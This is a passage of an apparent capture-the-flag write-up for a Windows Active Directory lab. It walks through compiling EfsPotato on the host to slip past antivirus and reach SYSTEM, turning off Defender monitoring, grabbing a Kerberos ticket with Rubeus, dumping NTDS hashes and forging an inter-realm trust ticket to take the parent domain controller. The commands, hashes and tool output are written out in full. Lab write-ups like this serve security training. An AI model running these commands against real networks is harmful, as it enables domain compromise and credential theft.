SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Crucially however it seems there’s an antivirus running and we’re not able to disable it.

1
2
3
4
5
6
7
8
9
10
PS C:\w1ld> ./mimikatz.exe
Program 'mimikatz.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ ./mimikatz.exe
+ ~~~~~~~~~~~~~~.
At line:1 char:1
+ ./mimikatz.exe
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

We can attempt to bypass this, assuming it’s static detection, by compiling on the host itself, one of the SeImpersonate exploits that allows us to do this is the EfsPotato. Let’s try it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\w1ld> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

PS C:\w1ld> ls


    Directory: C:\w1ld


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/24/2026   7:30 AM          25441 EfsPotato.cs
-a----         9/24/2026   7:33 AM          17920 EfsPotato.exe

Let’s now run the compiled binary.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\w1ld> .\EfsPotato.exe whoami lsarpc
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=19c14410)
[+] Get Token: 880
[!] process with pid: 3740 created.
==============================
nt authority\system

I’ll be grabbing a reverse shell with this.

Domain Admin via Forging Interdomain Tickets

Firstly let’s disable that pesky antivirus

1
PS C:\w1ld> Set-MpPreference -DisableRealtimeMonitoring $True

I’ll then grab a TGT so I can authenticate remotely, note that I’ve established a tunnel to the 10.0.0.0/24 network and added the corp.primary.htb to my /etc/hosts folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PS C:\w1ld> ./Rubeus.exe tgtdeleg /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/PRIMARY.corp.ghost.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: t5A+CqbBWj7oVfMtv6BWJG6+SQYWicUHUNielPhraFQ=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFxjCCBcKgAwIBBaEDAgEWooIExTCCBMFhggS9MIIEuaADAgEFoRAbDkNPUlAuR0hPU1QuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DT1JQLkdIT1NULkhUQqOCBHkwggR1oAMCARKhAwIBAqKCBGcEggRjI2+iSHb79V1ygETUfQi/eaM76KhArzrxIHufH7rFlyYsfCCyR1M4AKxB0iJBuUVxzoVDRs1d9n3hGKvryOWYUOKtezyrWtXIipsDz1MYd8CTzECWPle/PZAsd0G87yClAXGsjdF0OmJorgnUORdVosb9+BGBPUnqOJ/ycsk6uztUE+nckQDPbF5bRj+LjB22OuOWYoLzbMZCiHUEWOxEqcuy3ACtnfMhpfgDfxXBc1R9g2C8JEpwvzGSfqBPGDlX41sHuDDyo+RvZ4++fvxRh+lYc4DHoF/RUiatWZhxSYrc4SUQufyJLf382vE2TCEP4oeryNDBoK2zGBJo27dN+FXOdAMvMHjHtF7Za41ytHas7LafKH6bl6gEw+czJU3vA7ZfEwj1M5Zz1RtqBQ55XnXMExBSacLp9UIE8k6yBpBzzv0KWn0YsMB/D+h7UfJ14yUYLurBmKJaHUa7CYEf3j2jjkfHvYaRnSyCu5RKP7ji2KY+nNx9i5/iPOJTXRorPk84Wre67IU06E74w44h8nsv03CxCRPEsH9X7TRRcwmZblZsINWe27D0DqAryPhhI1Swg+kOtqkpBL3DbJpIbP+gSAWTnjqMSa+8jdN2mHETU5KVF4ad3k91iXr1S4ZrGgaqJKXH+kl3G5J5zL8flYorCoapPy2nMpMFfGHkTrLiw8ZJi0d0/5P3tnVxNJZUM3BxIdSRORlP0HEBdx8zqclI+97Ua9/bP2gYDYgausljPNI/Q1o/1iXrQySttfGX1Zwb04/e48F5U5uMtYa/HiKCNsufKUL5+t8CamMmzYwxQg1dbe0N6pik02EZEA9KgI9jRrvf91ilfFqiGn5XIBIh6KGKEUJoQq/5rfwNIw3zIPEcwoo6u7M8M66iFpOqi8eXuRQk9Zxd8QLwazdwZpwlODPvGGrl+0NrxC9FpuYMMSvm3VG4osD7HyOFxKjtU5EvfDbqfFQUAQOrnwzNoDA9tdw9GMnIcQCIaVWe3yELf3kZwOF6Q8DbHO7TwPWBXfeTGDl/Xm4CpNEiC04GlcXEowDo4BEJP3Ne3fbvcfuyRAdusfEPLEzc4Rk/jY6pvIafp+t3ETTVVE8sv5o8CySMbgGYkgbCaoOOQqu06h5iB6byWiSXJZo2S69gXr52BuG+yfIm22AtxzUmm7jYrHgaJ/m3FxMAmr2ZrdYLdHE+O14rWPbrFhlEJzJQesXt03GlQla5z3G/IfKYgzyGEq4JmQ+R+wxYxV+l/dRgVppI8uIwcvN9f4YuuYevqvvShL6C7DM1SMQK8r6eephZoTHGPb9W+8AUz/iQBYorXbznBlw4lVlnGraM9RKd0WceHYmmA6ewZMD2XOfg3NIVYdof0hM0ny0RjcTiZFd9tlYrzp7aQscXevY3l+NXFnmxL27PQaH0k2HnmZFcRiPytHVtS/FPq2pb8G5KuySV3N/Y3T4+pPDwiQU07Ua79Afz5oDF2B7YkCV05IwS2Xz+s5N65qOB7DCB6aADAgEAooHhBIHefYHbMIHYoIHVMIHSMIHPoCswKaADAgESoSIEIK3Fp0pKPIHsQNIZOIU9opRgm78PwskeCeytg9DMnX4hoRAbDkNPUlAuR0hPU1QuSFRCohUwE6ADAgEBoQwwChsIUFJJTUFSWSSjBwMFAGChAAClERgPMjAyNjA5MjQxMTAyNDVaphEYDzIwMjYwOTI0MjEwMjQ1WqcRGA8yMDI2MTAwMTAxMjg0OFqoEBsOQ09SUC5HSE9TVC5IVEKpIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkNPUlAuR0hPU1QuSFRC
	  
==========

PS /home/w1ld/ALPHA/ghost> ticketConverter.py -b ./primary.kirbi ./primary.ccache
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] base64 decoding ticket
[*] converting kirbi to ccache...
[+] done
PS /home/w1ld/ALPHA/ghost> cp ./primary.ccache /tmp/krb5cc_1000
PS /home/w1ld/ALPHA/ghost> klist   
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: PRIMARY$@CORP.GHOST.HTB

Valid starting       Expires              Service principal
09/24/2026 21:02:45  09/25/2026 07:02:45  krbtgt/CORP.GHOST.HTB@CORP.GHOST.HTB
        renew until 10/01/2026 11:28:48
PS /home/w1ld/ALPHA/ghost> nxc smb corp.ghost.htb -k --use-kcache
SMB         corp.ghost.htb  445    PRIMARY          [*] Windows Server 2022 Build 20348 x64 (name:PRIMARY) (domain:corp.ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         corp.ghost.htb  445    PRIMARY          [+] CORP.GHOST.HTB\PRIMARY$ from ccache

Let’s dump ntds

1
2
3
4
5
6
7
8
9
10
11
12
13
PS /home/w1ld/ALPHA/ghost> nxc smb corp.ghost.htb -k --use-kcache --ntds        
SMB         corp.ghost.htb  445    PRIMARY          [*] Windows Server 2022 Build 20348 x64 (name:PRIMARY) (domain:corp.ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         corp.ghost.htb  445    PRIMARY          [+] CORP.GHOST.HTB\PRIMARY$ from ccache 
SMB         corp.ghost.htb  445    PRIMARY          [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         corp.ghost.htb  445    PRIMARY          [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         corp.ghost.htb  445    PRIMARY          Administrator:500:aad3b435b51404eeaad3b435b51404ee:41515af3ada195029708a53d941ab751:::
SMB         corp.ghost.htb  445    PRIMARY          Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         corp.ghost.htb  445    PRIMARY          krbtgt:502:aad3b435b51404eeaad3b435b51404ee:69eb46aa347a8c68edb99be2725403ab:::
SMB         corp.ghost.htb  445    PRIMARY          PRIMARY$:1000:aad3b435b51404eeaad3b435b51404ee:27f92da5e3d79962020ddebc08ed7d70:::
SMB         corp.ghost.htb  445    PRIMARY          GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:7af2e44b36d8540c05bb89442ba5a599:::
SMB         corp.ghost.htb  445    PRIMARY          [+] Dumped 5 NTDS hashes to /home/w1ld/.nxc/logs/ntds/PRIMARY_corp.ghost.htb_2026-09-25_005747.ntds of which 3 were added to the database
SMB         corp.ghost.htb  445    PRIMARY          [*] To extract only enabled accounts from the output file, run the following command: 
SMB         corp.ghost.htb  445    PRIMARY          [*] grep -iv disabled /home/w1ld/.nxc/logs/ntds/PRIMARY_corp.ghost.htb_2026-09-25_005747.ntds | cut -d ':' -f1

I’ve attempted to raise a child however this didn’t work for me as the golden ticket seemed invalid no matter what I did. Instead I forged a trust ticket which is an inter-realm tgt.

1
2
3
4
5
6
7
8
9
10
11
12
13
PS /home/w1ld/ALPHA/ghost> ticketer.py -nthash 7af2e44b36d8540c05bb89442ba5a599 -domain-sid S-1-5-21-2034262909-2733679486-179904498 -domain corp.ghost.htb -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/ghost.htb w1ld
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.ghost.htb/w1ld
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving/Updating ticket in w1ld.ccache

Let’s use this TGT to grab an ST

1
2
3
4
5
6
7
8
9
10
11
PS /home/w1ld/ALPHA/ghost> getST.py -k -no-pass -debug -spn 'cifs/dc01.ghost.htb' 'ghost.htb/w1ld'          
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[+] Impacket Library Installation Path: /home/w1ld/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket
[+] Using Kerberos Cache: /tmp/krb5cc_1000
[+] Returning cached credential for KRBTGT/GHOST.HTB@CORP.GHOST.HTB
[+] Using TGT from cache
[+] Username retrieved from CCache: w1ld
[*] Getting ST for user
[+] Trying to connect to KDC at GHOST.HTB:88
[*] Saving ticket in w1ld@cifs_dc01.ghost.htb@GHOST.HTB.ccache

Let’s check our authentication

1
2
3
4
5
6
7
8
9
10
PS /home/w1ld/ALPHA/ghost> klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: w1ld@CORP.GHOST.HTB

Valid starting       Expires              Service principal
09/25/2026 01:07:47  09/25/2026 11:07:47  cifs/dc01.ghost.htb@GHOST.HTB
        renew until 09/26/2026 01:07:45
PS /home/w1ld/ALPHA/ghost> nxc smb dc01.ghost.htb -k --use-kcache
SMB         dc01.ghost.htb  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         dc01.ghost.htb  445    DC01             [+] CORP.GHOST.HTB\w1ld from ccache (Pwn3d!)

Success! We’re admin, let’s check our desktop.

1
2
3
4
5
6
7
8
9
10
11
12
PS /home/w1ld/ALPHA/ghost> nxc smb dc01.ghost.htb -k --use-kcache -x "dir C:\Users\Administrator\Desktop"
SMB         dc01.ghost.htb  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         dc01.ghost.htb  445    DC01             [+] CORP.GHOST.HTB\w1ld from ccache (Pwn3d!)
SMB         dc01.ghost.htb  445    DC01             [+] Executed command via atexec
SMB         dc01.ghost.htb  445    DC01              Volume in drive C has no label.
SMB         dc01.ghost.htb  445    DC01              Volume Serial Number is 2804-C13F
SMB         dc01.ghost.htb  445    DC01              Directory of C:\Users\Administrator\Desktop
SMB         dc01.ghost.htb  445    DC01             07/03/2024  01:28 PM    <DIR>          .
SMB         dc01.ghost.htb  445    DC01             01/30/2024  10:19 AM    <DIR>          ..
SMB         dc01.ghost.htb  445    DC01             09/23/2026  06:31 PM                34 root.txt
SMB         dc01.ghost.htb  445    DC01                            1 File(s)             34 bytes
SMB         dc01.ghost.htb  445    DC01                            2 Dir(s)   3,410,259,968 bytes free

There we can find the root flag.

tags: os/windows - diff/insane